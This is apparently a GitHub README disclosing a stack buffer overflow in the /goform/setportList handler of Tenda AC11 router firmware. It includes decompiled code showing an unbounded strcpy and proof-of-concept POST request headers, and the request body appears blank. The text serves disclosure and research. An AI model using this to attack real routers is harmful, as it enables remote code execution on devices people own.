P main ▼ IoT_CVE / Tenda / CVE_2 /

Yu3H0 update Readme	on Oct 4, 2021 😲	History
1.png		last year
☐ Readme.md		last year

∃ Readme.md

Tenda Router AC11 Vulnerability

The Vulnerability is in /goform/setportList page which influence the lastest version of this router OS. (this is a RTOS that are different from linux system) The Version is AC11_V02.03.01.104_CN

Vulnerability description

An issue was discovered on Tenda AC11 devices with firmware through 02.03.01.104_CN. A stack buffer overflow vulnerability in /goform/setportList allows attackers to execute arbitrary code on the system via a crafted post request.

In the function sub_800 CAA38 (page /gofrom/setportList) have one stack buffer overflow vulnerability.

- 1. It isn't limit our input when we input $\,$ portList in $\,$ v9 .
- 2. Then if v9 is different from a fixed string, v9 will copy to a stack value v22 by using strcpy(v22, v9); .strcpy couldn't limit copy length ,so wo can make stack buffer overflow in v22

```
memset(v22, 0, sizeof(v22));
memset(v24, 0, sizeof(v24));
memset(v23, 0, sizeof(v23));
v9 = Packt_websGetVar(a1, a2, "portList", "");
v8 = sub_8002474C();
if ( gstrcmp_0(v9, *(v8 + 188)) )
   nvram_set("forward_port_list", v9);
     v12 = sub_80014788("forward_port", v11++);
nvram_set(v12, "");
  while ( v11 != 16 );
strcpy(v22, v9);
```

poc

POST /goform/setportList HTTP/1.1 Host: 192.168.0.1

Content-Length: 717

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36

Content-Type: application/x-www-form-urlencoded;

Origin: http://192.168.0.1

Referer: http://192.168.0.1/index.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9







Acknowledgment

Credit to @Yu3H0,@1chig0,@Lnkvct from Shanghai Jiao Tong University and TIANGONG Team of Legendsec at Qi'anxin Group.

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